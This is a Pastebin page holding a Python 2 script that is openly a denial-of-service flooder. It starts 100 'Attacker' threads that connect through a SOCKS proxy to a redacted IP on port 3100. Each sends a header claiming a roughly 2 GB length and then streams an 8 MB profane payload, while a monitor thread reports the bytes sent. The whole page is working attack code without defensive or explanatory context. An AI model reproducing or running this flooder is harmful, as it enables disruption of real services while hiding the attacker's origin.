Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import socks
- import threading
- import sys
- import time
- import humanize
- import datetime
- running = True
- total_sent_bytes = 0
- packet_data = ""
- while len(packet_data) < 8000000:
- packet_data += "fuckyou!"
- packet = bytearray(packet_data)
- packet_length = len(packet)
- print "Packet length is %s" % packet_length
- class Attacker(threading.Thread):
- def __init__(self, thread_name):
- threading.Thread.__init__(self)
- self.thread_name = thread_name
- def run(self):
- while True:
- try:
- global total_sent_bytes
- s = socks.socksocket()
- s.settimeout(5)
- s.connect(("xxx.xxx.xxx.xxx", 3100))
- s.send(bytearray([127, 255, 255, 255, 15, 160]))
- sent_bytes = 0
- s.settimeout(30)
- while sent_bytes < 2147000000:
- s.send(packet)
- sent_bytes += packet_length
- total_sent_bytes += packet_length
- except Exception:
- time.sleep(10)
- class Monitor(threading.Thread):
- def __init__(self):
- threading.Thread.__init__(self)
- def run(self):
- global total_sent_bytes
- global running
- previous_sent_bytes = 0
- while running:
- if total_sent_bytes != previous_sent_bytes:
- now = datetime.datetime.now()
- sys.stdout.write("%02d:%02d:%02d - Sent %s\n" % (now.hour, now.minute, now.second, humanize.naturalsize(total_sent_bytes)))
- previous_sent_bytes = total_sent_bytes
- time.sleep(1)
- threads = []
- for num in range(0, 100):
- thread = Attacker('Thread-%s' % num)
- thread.daemon = True
- thread.start()
- threads.append(thread)
- monitor_thread = Monitor()
- monitor_thread.start()
- for thread in threads:
- thread.join()
Advertisement
Add Comment
Please, Sign In to add comment